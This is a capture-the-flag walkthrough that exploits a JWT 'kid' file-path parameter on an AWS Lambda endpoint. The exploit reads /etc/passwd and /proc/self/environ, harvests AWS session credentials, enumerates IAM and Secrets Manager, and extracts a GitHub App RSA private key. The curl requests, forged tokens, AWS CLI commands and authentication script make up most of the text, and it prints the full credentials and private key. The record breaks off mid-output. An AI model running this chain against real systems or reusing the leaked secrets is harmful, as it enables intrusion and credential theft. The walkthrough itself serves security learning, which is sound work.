Huey's Secret CTF Walkthrough

Brief Overview - The Exploit Chain

A web application vulnerability cascaded into a full AWS environment compromise:

1. Found JWT token vulnerability allowing arbitrary file read primitive
2. Used file read primitive to read AWS credentials through /proc/self/environ
3. Used AWS credentials to access Secrets Manager
4. Found GitHub App Private Key in Secrets Manager
5. Converted private key to JWT token inspected Huey repository
6. Discovered hardcoded password in Git history
7. Used discovered password to get the flag

Phase 1: Initial Reconnaissance

Why I Started Here

The CTF provided a URL endpoint. I started with basic reconnaissance to understand what I was dealing with.
I used `-v` flag to see full request/response details, including headers.

```
curl -v https://gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com/
```

To see the response and understand what happens:

```
curl -v https://gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com/
* Host gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com:443 was resolved.
* IPv6: (none)
* IPv4: 3.75.13.44, 35.158.151.59
*   Trying 3.75.13.44:443...
* Connected to gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com
(3.75.13.44) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
```

```
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / x25519 /
RSASSA-PSS
* ALPN: server accepted h2
* Server certificate:
*  subject: CN=*.execute-api.eu-central-1.amazonaws.com
*  start date: Jun 24 00:00:00 2024 GMT
*  expire date: Jul 23 23:59:59 2025 GMT
*  subjectAltName: host "gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com"
matched cert's "*.execute-api.eu-central-1.amazonaws.com"
*  issuer: C=US; O=Amazon; CN=Amazon RSA 2048 M02
*  SSL certificate verify ok.
*   Certificate level 0: Public key type RSA (2048/112 Bits/secBits),
signed using sha256WithRSAEncryption
*   Certificate level 1: Public key type RSA (2048/112 Bits/secBits),
signed using sha256WithRSAEncryption
*   Certificate level 2: Public key type RSA (2048/112 Bits/secBits),
signed using sha256WithRSAEncryption
* using HTTP/2
* [HTTP/2] [1] OPENED stream for
https://gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com/
* [HTTP/2] [1] [:method: GET]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority:
gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com]
* [HTTP/2] [1] [:path: /]
* [HTTP/2] [1] [user-agent: curl/8.9.1]
* [HTTP/2] [1] [accept: */*]
> GET / HTTP/2
> Host: gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com
> User-Agent: curl/8.9.1
> Accept: */*
>
* Request completely sent off
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/2 200
< date: Thu, 09 Jan 2025 10:31:34 GMT
< content-type: text/html
```

```
< content-length: 1645
< apigw-requestid: EHbNGiY8liAEMZg=
<

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Huey's Site</title>
<style>
  .oops {
    color: red;
  }
</style>
<script>
function sendPostRequest() {
    var xhr = new XMLHttpRequest();
    var url = window.location.href; // or the specific address you want to
POST to
    var data = JSON.stringify({ "passcode":
document.getElementById("inputBox").value });
    xhr.open("POST", url, true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.setRequestHeader("Authorization", "Bearer
eyJhbGciOiJIUzI1NiIsImtpZCI6InNlY3JldHMuanNvbjpqa2V5IiwidHlwIjoiSldUIn0.eyJ
hdWQiOiJkdWNrcyJ9.RasmB4NHHVuOvGuJUoZxrvcEPU5Aq7hQjB3_9cBon1M");
    xhr.onreadystatechange = function () {
        if (xhr.readyState === 4) {
            var response = JSON.parse(xhr.responseText);
            var responseElement = document.getElementById("response");
            if(response.secret) {
                responseElement.textContent = "My secret is: '" +
response.secret + "'. Please don't tell Dewey and Louie!";
                responseElement.classList.remove("oops");
            } else if(response.oops) {
                responseElement.textContent = response.oops;
                responseElement.classList.add("oops");
            }
        }
    };
    xhr.send(data);
}
```

```
</script>
</head>
<body>
<h1>Huey's Secret!</h1>
<p> Enter the correct passcode, and Huey will share his secret </p>
<input type="text" id="inputBox" placeholder="Type something...">
<button onclick="sendPostRequest()">Send</button>
<p id="response"></p>
</body>
</html>
* Connection #0 to host gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com
left intact
```

Key Initial Findings

1. The endpoint uses HTTPS with TLS 1.3 and HTTP/2
2. Returns an HTML page (unusual for an API endpoint)
3. Found embedded JavaScript code with a JWT token

```
Bearer
eyJhbGciOiJIUzI1NiIsImtpZCI6InNlY3JldHMuanNvbjpqa2V5IiwidHlwIjoiSldUIn0.eyJ
hdWQiOiJkdWNrcyJ9.RasmB4NHHVuOvGuJUoZxrvcEPU5Aq7hQjB3_9cBon1M
```

First Attempt at API Understanding

I tried accessing potential API endpoints, for example:

```
url -i https://gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com/api/

**Response:**

{
"message": "Not Found"
}
```

Thought Process

1. The JWT token in the JavaScript looked interesting because:
2. It's hardcoded in the source
3. Used for authorization

4. Might be vulnerable to tampering

Phase 2: JWT Analysis

Why I Analyzed the JWT

The token being used for authorization warranted deeper inspection. I wrote a Python script to properly decode and understand its structure.

JWT Decoder Script

```
import base64
import json

def decode_jwt(token):
    """
    Decode a JWT token and print its components in a readable format.

    Args:
        token (str): The JWT token to decode

    Returns:
        tuple: (header_dict, payload_dict, signature)
    """
    try:
        # Split the token into its three parts
        header_b64, payload_b64, signature = token.split('.')

        # Decode header
        # Add padding if necessary
        header_b64 += '=' * (-len(header_b64) % 4)
        header_bytes = base64.urlsafe_b64decode(header_b64)
        header_dict = json.loads(header_bytes.decode('utf-8'))

        # Decode payload
        # Add padding if necessary
        payload_b64 += '=' * (-len(payload_b64) % 4)
        payload_bytes = base64.urlsafe_b64decode(payload_b64)
```

```
        payload_dict = json.loads(payload_bytes.decode('utf-8'))

        # Print formatted output
        print("\n=== JWT Token Analysis ===")
        print("\nHEADER:")
        for key, value in header_dict.items():
            print(f"  {key}: {value}")

        print("\nPAYLOAD:")
        for key, value in payload_dict.items():
            print(f"  {key}: {value}")

        print("\nSIGNATURE:")
        print(f"  {signature}")

        return header_dict, payload_dict, signature

    except Exception as e:
        print(f"Error decoding token: {str(e)}")
        return None, None, None

# Example usage
if __name__ == "__main__":
    token =
"eyJhbGciOiJIUzI1NiIsImtpZCI6InNlY3JldHMuanNvbjpqa2V5IiwidHlwIjoiSldUIn0.ey
JhdWQiOiJkdWNrcyJ9.RasmB4NHHVuOvGuJUoZxrvcEPU5Aq7hQjB3_9cBon1M"
    decode_jwt(token)
```

The result of the script:

```
=== JWT Token Analysis ===

HEADER:
  alg: HS256
  kid: secrets.json:jkey
  typ: JWT

PAYLOAD:
  aud: ducks

SIGNATURE:
```

```
RasmB4NHHVuOvGuJUoZxrvcEPU5Aq7hQjB3_9cBon1M
```

Critical Observations

1. The `kid` (Key ID) parameter points to a file - potential file read vulnerability
2. Simple payload with just audience claim suggests this is a basic authentication token
3. HS256 algorithm means symmetric key usage - same key for signing and verification

Failed JWT Attacks Attempted

1. Algorithm switching to 'none': Server properly validated
2. Direct payload modification: Signature check prevented
3. Basic key guessing: No success

Phase 3: Path Traversal Discovery

Why I Tried Path Traversal

After seeing `secrets.json:jkey` in the JWT's `kid` parameter, I suspected file reading capability because:

1. The `kid` referenced what looked like a file path
2. The format with `:jkey` suggested key lookup in a JSON file
3. Server-side code might be using this path directly

First Path Traversal Attempt

As we previously saw, the kid JWT header contains a path in the `kid` parameter, we'll try to read `/etc/passwd` by setting `kid` to `/etc/passwd` and generating a JWT token with a different header. The token might be invalid and mis-signed, but the kid header is typically used prior to signature verification, so we might be able to exploit something.
I wrote a script to modify the kid header in the JWT token:

```
import jwt

headers = {
    "alg": "HS256",
    "kid": "../../../../../../../etc/passwd",  # trying path traversal
    "typ": "JWT"
}
```

```
payload = {
    "aud": "ducks"
}

# We'll need to try different common strings as the secret key
token = jwt.encode(payload, "your-secret-key", algorithm="HS256",
headers=headers)
print(token)
```

I tried basic directory traversal to read `/etc/passwd`, I used the previous script to generate JWT token where the kid value is “/etc/passwd”:

```
curl -i -X POST https://gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com/
\
-H "Content-Type: application/json" \
-H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiLCJ
0eXAiOiJKV1QifQ.eyJhdWQiOiJkdWNrcyJ9.eFJYsfCDCkKf-DsUX1UvIonc7v5GCIvm5YphHV
rWdJo" \
-d '{"passcode": "huey"}'

**Response:**

HTTP/2 403
content-type: text/plain; charset=utf-8
content-length: 16
kid is malformed
```

Learning from Failure

The error "kid is malformed" suggested the server was validating the `kid` format. Looking back at the original token format (`secrets.json:jkey`), I realized it needed to maintain the `filename:key` structure.

Second Attempt - Config File

Tried keeping the format but changing the file:

```
curl -i -X POST https://gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com/
\
-H "Content-Type: application/json" \
```

```
-H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsImtpZCI6ImNvbmZpZy5qc29uOmprZXkiLCJ0eXAiOiJKV1QifQ.eyJh
dWQiOiJkdWNrcyJ9.dBLGRzgc9ZZIxHXhXhJdgSK4ZJJYsbV_eNKuHEtUPCE" \
-d '{"passcode": "huey"}'
**Response:**

{
"oops": "Traceback (most recent call last):
File "/var/task/handler.py", line 106, in post_root
auth_result, error_msg = _check_jwt_claims(headers.get("authorization",
""))
File "/var/task/handler.py", line 79, in _check_jwt_claims
key = read_secret_json(*kid.split(":"))
File "/var/task/handler.py", line 60, in read_secret_json
with open(path, 'r') as f:
FileNotFoundError: [Errno 2] No such file or directory: 'config.json'"
}
```

Critical Discovery

The error message revealed crucial information:

1. The server is using Python
2. The file path is coming from `kid.split(":")`
3. Files are read directly with `open(path, 'r')`
4. We're in `/var/task/handler.py`

Third Attempt - /etc/passwd with Correct Format

Based on these learnings, I tried reading `/etc/passwd` again but with proper formatting:

```
curl -i \
  -X POST https://gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com/ \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii9ldGMvcGFzc3dkOmprZXkiLCJ0eXAiOiJKV1QifQ.eyJh
dWQiOiJkdWNrcyJ9.RKmptFWPPjcGFJe2fMvF7YGX9kf2WuxVhcF3JBZtjx0" \
  -d '{"passcode": "huey"}'

**Response:**

{
"oops": "Traceback (most recent call last):
```

```
File "/var/task/handler.py", line 62, in read_secret_json
return json.loads(content)[key]
File "/var/lang/lib/python3.10/json/__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "/var/lang/lib/python3.10/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/var/lang/lib/python3.10/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/var/task/handler.py", line 106, in post_root
auth_result, error_msg = _check_jwt_claims(headers.get("authorization",
""))
File "/var/task/handler.py", line 79, in _check_jwt_claims
key = read_secret_json(*kid.split(":"))
File "/var/task/handler.py", line 64, in read_secret_json
raise RuntimeError("Could not parse: {}".format(content))
RuntimeError: Could not parse: root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
..."
}
```

Since I could read files and this was running in AWS Lambda, I thought about reading environment variables through `/proc/self/environ`. This is a common Linux file containing process environment variables, and since we're in a Lambda function, it might contain AWS credentials.

```
curl -i -X POST https://gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com/
\
-H "Content-Type: application/json" \
-H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii9wcm9jL3NlbGYvZW52aXJvbjpodWV5IiwidHlwIjoiSld
UIn0.eyJhdWQiOiJkdWNrcyJ9.NKMhtx7_E0K5nHUkfSF0M7yCG_zS7wqhcH-80is_gFg" \
-d '{"passcode": "huey"}'

**Response (Critical Information!):**

AWS_LAMBDA_FUNCTION_VERSION=$LATEST
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEKX/////////wEaDGV1LWNlbnRyYWwtMSJGMEQCI
D9J5Wb8rQ0KSCcU4epcikguTSDBdGRYV4/bFEMaRRGaAiAY1h82/LgkOT2ZeScUOmfAziy4D7Oo
```

```
1vzZ8HPfDQbb3iqGAwiO//////////8BEAAaDDY1NDY1NDM5MDI3MiIMocSsyPRNYMJ4cudQKto
CFplmjZ84LLPIURCqqZbI2Cd9Y4vzKqzLmIxqenT1bSTtyJaxdMRW+/oKUumSwqOwQn8X37Wul/
jEpdwWqrgAY7zRk/6/heS9KRaM7luW3Wem3OpDx3VZLVGcsV/ZUS2H37c9dncNw3kypnFP6wdBd
X/ewsmQB5jtvPlWy69PGO3wyflUSvIAKXcOLtHNNCqxDFxRqe/YreTliQhB0neuWB2nJSYy4Ztl
u4scUtOzM9/BgMR/yChSTD1JOGmzE/7QUHcLtQfYw4PjJcgpQhEILYqExWrANItHTqRt1Fvi7bn
epFHVaHhAE1GhjCRJ3JMgOMAM6vam7irpScxHO2hiECTh7HdfXehaEL67kgHzedeUHBxkgh9dSj
IN0jgdBPALBSxFRyFV3QQUzddvicJB3qZpRTBSaITuFe9s5pSdg91a+HXKpUbxGPa5HlOGRIKBz
/oMgVqcWeWCLjCzg/+7BjqfAbSs5i74YUZAAjcO21F56ha8SLYBPPCpuCuerybxj735Yqa3kLTD
VcmvvOapxyCzOGz/riSQGGX422WODewdeK0lfO2+Gjc28OfhTbkge2LavXWExH7yIiU1BS2IIhy
olNLPBB6npZNB2f+FzIMP/2pagFzxYjEA3hYHyshTf+bM/yhCaigY1nIImvNCzKsfg7Way5Afyc
kn8L0kabWUJA==
AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/huey-prod-post_root
AWS_ACCESS_KEY_ID=ASIAZQ3DRIAAOMPG2ONQ
AWS_SECRET_ACCESS_KEY=VDokHgIMvrm0Cn3zqtBw3mqKoPk1xZ6MFm5vHVbz
AWS_REGION=eu-central-1
```

I tried basic directory traversal to read `/etc/passwd`:

Phase 4: AWS Access Exploration

Why I Explored AWS

After finding AWS credentials in the environment variables, I knew:

1. These were Lambda execution credentials
2. They might have permissions specific to this function's role
3. AWS often contains sensitive information in services like Secrets Manager or Parameter Store

Setting Up AWS Access

First, I configured the AWS CLI with the discovered credentials:

```
export AWS_ACCESS_KEY_ID=ASIAZQ3DRIAAOMPG2ONQ
export AWS_SECRET_ACCESS_KEY=VDokHgIMvrm0Cn3zqtBw3mqKoPk1xZ6MFm5vHVbz
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEKX...
export AWS_DEFAULT_REGION=eu-central-1
```

Initial AWS Enumeration

I started with basic AWS enumeration:

```
aws sts get-caller-identity

**Response:**

{
"UserId": "AROAZQ3DRIAAILGF4PV3Z:huey-prod-post_root",
"Account": "654654390272",
"Arn":
"arn:aws:sts::654654390272:assumed-role/huey-prod-eu-central-1-lambdaRole/huey-prod-post_root"
}
```

This told me:

1. I was using a Lambda execution role
2. The role name gave away the environment (prod)
3. The function name matched our target (huey)

Failed AWS Access Attempts

Try lambda access

```
aws lambda list-functions
Response:
An error occurred (AccessDeniedException) when calling the ListFunctions
operation: User:
arn:aws:sts::654654390272:assumed-role/huey-prod-eu-central-1-lambdaRole/huey-prod-post_root is not authorized to perform: lambda:ListFunctions on
resource: * because no identity-based policy allows the
lambda:ListFunctions action
```

Try to getting the function code

```
aws lambda get-function --function-name huey-prod-post_root
An error occurred (AccessDeniedException) when calling the GetFunction
operation: User:
arn:aws:sts::654654390272:assumed-role/huey-prod-eu-central-1-lambdaRole/huey-prod-post_root is not authorized to perform: lambda:GetFunction on
resource:
arn:aws:lambda:eu-central-1:654654390272:function:huey-prod-post_root
because no identity-based policy allows the lambda:GetFunction action
```

Try S3 access

```
aws s3 ls
An error occurred (AccessDenied) when calling the ListBuckets operation:
User:
arn:aws:sts::654654390272:assumed-role/huey-prod-eu-central-1-lambdaRole/hu
ey-prod-post_root is not authorized to perform: s3:ListAllMyBuckets because
no identity-based policy allows the s3:ListAllMyBuckets action
```

Understanding AWS Permissions

I needed to understand what permissions this role actually had.

I first used AWS STS (Security Token Service) to get information about our current role, and then went on to list all possible role permissions:

```
aws sts get-caller-identity
Response:
{
    "UserId": "AROAZQ3DRIAAILGF4PV3Z:huey-prod-post_root",
    "Account": "654654390272",
    "Arn":
"arn:aws:sts::654654390272:assumed-role/huey-prod-eu-central-1-lambdaRole/h
uey-prod-post_root"
}
 aws iam list-role-policies --role-name huey-prod-eu-central-1-lambdaRole
response:
{
    "PolicyNames": [
        "huey-prod-lambda"
    ]
```

Then I checked the specific policy:

```
aws iam get-role-policy --role-name huey-prod-eu-central-1-lambdaRole
--policy-name huey-prod-lambda

Response:
{
    "RoleName": "huey-prod-eu-central-1-lambdaRole",
    "PolicyName": "huey-prod-lambda",
    "PolicyDocument": {
```

```
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "VisualEditor0",
                "Effect": "Allow",
                "Action": [
                    "logs:CreateLogStream",
                    "iam:ListRolePolicies",
                    "logs:TagResource",
                    "iam:GetRolePolicy",
                    "iam:GetRole",
                    "logs:CreateLogGroup"
                ],
                "Resource": [

"arn:aws:iam::654654390272:role/huey-prod-eu-central-1-lambdaRole",

"arn:aws:logs:eu-central-1:654654390272:log-group:/aws/lambda/huey-prod*:*"
                ]
            },
            {
                "Sid": "VisualEditor1",
                "Effect": "Allow",
                "Action": "logs:PutLogEvents",
                "Resource":
"arn:aws:logs:eu-central-1:654654390272:log-group:/aws/lambda/huey-prod*:*:
*"
            },
            {
                "Sid": "VisualEditor2",
                "Effect": "Allow",
                "Action": [
                    "secretsmanager:GetSecretValue",
                    "secretsmanager:DescribeSecret",
                    "secretsmanager:ListSecrets"
                ],
                "Resource": "*"
            }
        ]
    }
}
```

Breakthrough in Secrets Manager

The policy showed full Secrets Manager access. This was promising because:

1. Secrets Manager is designed for storing sensitive information
2. The access wasn't restricted to specific secrets
3. Access included list, read, and describe operations

I checked for available secrets:

```
aws secretsmanager list-secrets
Response:
{
    "SecretList": [
        {
            "ARN":
"arn:aws:secretsmanager:eu-central-1:654654390272:secret:github-app-2C7IUp"
,
            "Name": "github-app",
            "Description": "GitHub App Secrets",
            "LastChangedDate": "2024-07-03T12:40:14.942000+03:00",
            "LastAccessedDate": "2025-01-07T02:00:00+02:00",
            "Tags": [
                {
                    "Key": "aws:cloudformation:stack-name",
                    "Value": "huey-prod"
                },
                {
                    "Key": "aws:cloudformation:logical-id",
                    "Value": "github"
                },
                {
                    "Key": "aws:cloudformation:stack-id",
                    "Value":
"arn:aws:cloudformation:eu-central-1:654654390272:stack/huey-prod/24978060-
3920-11ef-9842-063a06ad11e5"
                },
                {
                    "Key": "STAGE",
                    "Value": "prod"
                }
            ],
            "SecretVersionsToStages": {
                "4fe230ec-c686-449a-8939-346a888ef6b9": [
                    "AWSCURRENT"
                ]
```

```
            },
            "CreatedDate": "2024-07-03T12:40:14.688000+03:00"
        }
    ]
}
```

Here we can see:

1. We found a secret named "github-app" that is described as "GitHub App Secrets"
2. GitHub Apps are (thanks google):

- Applications that can be installed on GitHub organizations or repositories
- Can interact with GitHub API
- Used for automating tasks, deployments, or integrations with GitHub repositories
- Have their own authentication credentials (private keys and app IDs)

3. The secret details show:

- It's part of a "huey-prod" CloudFormation stack
    - CloudFormation is AWS's infrastructure-as-code service
    - Suggests this is part of a production environment
- Has tags indicating it's in the "prod" stage
- Was created in July 2024

Lets read the secret!

```
aws secretsmanager get-secret-value --secret-id
arn:aws:secretsmanager:eu-central-1:654654390272:secret:github-app-2C7IUp
Response:
{
    "ARN":
"arn:aws:secretsmanager:eu-central-1:654654390272:secret:github-app-2C7IUp"
,
    "Name": "github-app",
    "VersionId": "4fe230ec-c686-449a-8939-346a888ef6b9",
    "SecretString": "{\"private_key\": \"-----BEGIN RSA PRIVATE
KEY-----\\nMIIEowIBAAKCAQEA3L24fbjlhXcWPgXjesTeh3xwVZDV4IwjMh4/OP4l6XAsfPV0
\\nF4yauHcXx72QhuctqFixgghM9NjroB8AsGAU2qDz3Q6HGxQDZFp1GGKVhdwIbMql\\nvO46y
OQ7lHnfuAKuAlr24gPwoxVb2Lay03YO5es/Hh06Y46qiT6yzYjYsmdeQ1QG\\nR92U18uHHdnmS
aQTSFU5Gk6kAHyD/btf7PxVLWFuIc22aKhtqMGFdgBs1kbCj4PF\\nmFZEZtKCQ38dZqbvCg0fQ
D9ot86lHQx11jwRhUsm8Bg3Mml9WWc5hAi5HA+NlEGq\\nOujt307Zrn1i3f6jxUKYv2eYeBHK7
dGETs1NyQIDAQABAoIBADyEKsMU4J/BcTCZ\\nzq6GsHc2b1mV9ny0DqYb0rteOaiQ3zF23Vfjb
TtrMvLIjondcQ/5GNkMS4TIv3hL\\nZ5XzEWSKwbB13iZXS0LE5dtEk7d6BjlFKUDtkuImaAshi
mrZGTl+FLcL23nqTh7Q\\nn6AHergf0VMBMlO+9hPgQ4bDoJzv5TKyobyXrO6yfVIlxCsu85/k4
```

```
WYS8VJbi4Y0\\ncoUEX1M3xBl/vDuTSRDphynGSqeBrQkeKlp4kREBZlaNIupkHHD6QKaqU4YcqWAn\\nkPBYhJACk803TOgPDAeNUTQMQ6aftwTvYqs+gXyQSPqgu4edkGO/1D4zvUEAhVll\\n/4TV8v0CgYEA/anwLxIVJQSdLzLiQ6ycXAwTP6/NjuqNFAapjZTI3X8alVxWxjqa\\nxpBylWlE1En6hv2paqFsqgEuULpZVvWypERanEYtVxiR9itTV31RVjR4fL5Jf0xM\\nfTzPT74oGd7sUYNiAbp20TAUf6g+7IBIXkxH99W5xRz3RHIRX8ay9qsCgYEA3sYp\\nJUJjCcI71hs5qFPkRMQxp9+XnhuUXRbxjZbzyWpEoj05auzJ3Txgbv+ISA/gZLxz\\n3+DUJtW2U6WfjJI5SPJ79cM+R1xLsbYF/K4ECb7Ny2kPpXTW8Khvm6wuVje30kqL\\nkfOvEf9K6i0WzpY73SCi2988N5FzM7dGcuK63VsCgYASqexIKlZv8NT34hCP1iVz\\nCFhqOS8wssVKkerrxeS5l16HWtHvp+Q3c+1aXPJ5hC/wur06YUIzh/62Zd+o7E8G\\nkxjvoqI3ZFFpAWsSZuATLa0n0IBr41tFY7IFNgKRVLuii74sTmHrplP7yI9Iq2+n\\nsIkjDRCsFiODX7kziNUmHQKBgQCahlO2D5WJCFzfB+V3mDFnbbuP2W1e83x3Edod\\nv458sKTI8LTqMTNYrW+qrr9GVRTuazXpHheqlGUzIlhIdokby28mqvaBI0kyDLOc\\ncMxGQj6XkNmUiDYrmnpIPieqEF4GlUS4yZIvZqj9RKdkRxthKCkvYGpxlQeW4NMS\\nD6lUrwKBgBppCbkzxN0DgEE29FCi4CHQxepMtkLv5WcJlGd3V+0RsweEi3WgBu4m\\nDwTa2yfRrNiIf0lU4iTdZZQbG0Hwt0wuPggOvFeFFOvpe+CNkqdy+ONeUAO1RE7I\\nSaJSjGusu7N99jxlvTvrZRUSvTLiXx+JH4LoGdhLsAe9K3XLPE5G\\n-----END RSA PRIVATE KEY-----\", \"client_id\": \"Iv23livRM3u277oRI5uw\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2024-07-03T12:40:14.937000+03:00"
}
```


Looking at the secret's contents, we found:

1. An RSA private key for GitHub App authentication
2. A GitHub App client ID: `Iv23livRM3u277oRI5uw`

Since this is a GitHub App configured in AWS and it's called "huey-prod", there might be interesting GitHub repositories or configurations that could lead us to Huey's secret.

Phase 5: GitHub Access and Exploration

Why I Investigated GitHub

Having found GitHub App credentials in AWS Secrets Manager, I knew:

1. This was a private GitHub App installation
2. The app name "huey-prod" matched our target
3. Apps often have access to private repositories

GitHub Authentication Script

I wrote a Python script to handle GitHub App authentication:

```
import jwt
import time
import requests

# GitHub App details from AWS Secrets Manager
app_id = "Iv23livRM3u277oRI5uw"
private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3L24fbjlhXcWPgXjesTeh3xwVZDV4IwjMh4/OP4l6XAsfPV0
F4yauHcXx72QhuctqFixgghM9NjroB8AsGAU2qDz3Q6HGxQDZFp1GGKVhdwIbMql
vO46yOQ7lHnfuAKuAlr24gPwoxVb2Lay03YO5es/Hh06Y46qiT6yzYjYsmdeQ1QG
R92U18uHHdnmSaQTSFU5Gk6kAHyD/btf7PxVLWFuIc22aKhtqMGFdgBs1kbCj4PF
mFZEZtKCQ38dZqbvCg0fQD9ot86lHQx11jwRhUsm8Bg3Mml9WWc5hAi5HA+NlEGq
Oujt307Zrn1i3f6jxUKYv2eYeBHK7dGETs1NyQIDAQABAoIBADyEKsMU4J/BcTCZ
zq6GsHc2b1mV9ny0DqYb0rteOaiQ3zF23VfjbTtrMvLIjondcQ/5GNkMS4TIv3hL
Z5XzEWSKwbB13iZXS0LE5dtEk7d6BjlFKUDtkuImaAshimrZGTl+FLcL23nqTh7Q
n6AHergf0VMBMlO+9hPgQ4bDoJzv5TKyobyXrO6yfVIlxCsu85/k4WYS8VJbi4Y0
coUEX1M3xBl/vDuTSRDphynGSqeBrQkeKlp4kREBZlaNIupkHHD6QKaqU4YcqWAn
kPBYhJACk803TOgPDAeNUTQMQ6aftwTvYqs+gXyQSPqgu4edkGO/1D4zvUEAhVll
/4TV8v0CgYEA/anwLxIVJQSdLzLiQ6ycXAwTP6/NjuqNFAapjZTI3X8alVxWxjqa
xpBylWlE1En6hv2paqFsqgEuULpZVvWypERanEYtVxiR9itTV31RVjR4fL5Jf0xM
fTzPT74oGd7sUYNiAbp20TAUf6g+7IBIXkxH99W5xRz3RHIRX8ay9qsCgYEA3sYp
JUJjCcI71hs5qFPkRMQxp9+XnhuUXRbxjZbzyWpEoj05auzJ3Txgbv+ISA/gZLxz
3+DUJtW2U6WfjJI5SPJ79cM+R1xLsbYF/K4ECb7Ny2kPpXTW8Khvm6wuVje30kqL
kfOvEf9K6i0WzpY73SCi2988N5FzM7dGcuK63VsCgYASqexIKlZv8NT34hCP1iVz
CFhqOS8wssVKkerrxeS5l16HWtHvp+Q3c+1aXPJ5hC/wur06YUIzh/62Zd+o7E8G
kxjvoqI3ZFFpAWsSZuATLa0n0IBr41tFY7IFNgKRVLuii74sTmHrplP7yI9Iq2+n
sIkjDRCsFiODX7kziNUmHQKBgQCahlO2D5WJCFzfB+V3mDFnbbuP2W1e83x3Edod
v458sKTI8LTqMTNYrW+qrr9GVRTuazXpHheqlGUzIlhIdokby28mqvaBI0kyDLOc
cMxGQj6XkNmUiDYrmnpIPieqEF4GlUS4yZIvZqj9RKdkRxthKCkvYGpxlQeW4NMS
D6lUrwKBgBppCbkzxN0DgEE29FCi4CHQxepMtkLv5WcJlGd3V+0RsweEi3WgBu4m
DwTa2yfRrNiIf0lU4iTdZZQbG0Hwt0wuPggOvFeFFOvpe+CNkqdy+ONeUAO1RE7I
SaJSjGusu7N99jxlvTvrZRUSvTLiXx+JH4LoGdhLsAe9K3XLPE5G
-----END RSA PRIVATE KEY-----"""

def generate_jwt():
    """Generate a JWT for GitHub App authentication"""
    now = int(time.time())
    payload = {
        'iat': now,
        'exp': now + 600,
        'iss': app_id
```

```
    }
    return jwt.encode(payload, private_key, algorithm='RS256')

def get_installation_access_token(jwt_token, installation_id):
    """Get an installation access token"""
    headers = {
        'Authorization': f'Bearer {jwt_token}',
        'Accept': 'application/vnd.github.v3+json'
    }
    url =
f'https://api.github.com/app/installations/{installation_id}/access_tokens'
    response = requests.post(url, headers=headers)
    if response.status_code == 201:
        return response.json()['token']
    else:
        print(f"Error getting access token: {response.status_code}")
        print(response.json())
        return None

def list_installations(jwt_token):
    """List all installations of the GitHub App"""
    headers = {
        'Authorization': f'Bearer {jwt_token}',
        'Accept': 'application/vnd.github.v3+json'
    }
    response = requests.get('https://api.github.com/app/installations',
headers=headers)
    print("\nInstallations:")
    print(response.json())
    return response.json()

def list_repos

itories(access_token):
    """List repositories accessible to the installation"""
    headers = {
        'Authorization': f'token {access_token}',
        'Accept': 'application/vnd.github.v3+json'
    }
    response = requests.get('https://api.github.com/installation/repositories',
headers=headers)
    print("\nRepositories:")
    print(response.json())
    return response.json()
```

```
def main():
    # Generate JWT
    jwt_token = generate_jwt()
    print(f"\nJWT Token: {jwt_token}")

    # List installations
    installations = list_installations(jwt_token)

    if installations:
        # Get the first installation ID
        installation_id = installations[0]['id']
        print(f"\nUsing installation ID: {installation_id}")

        # Get access token
        access_token = get_installation_access_token(jwt_token,
installation_id)
        if access_token:
            print(f"\nAccess Token: {access_token}")

            # List repositories
            repositories = list_repositories(access_token)

if __name__ == "__main__":
    main()
```

Github Access Results

Running the script revealed

```
JWT Token:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3MzY0NDUxODEsImV4cCI6MTczNj
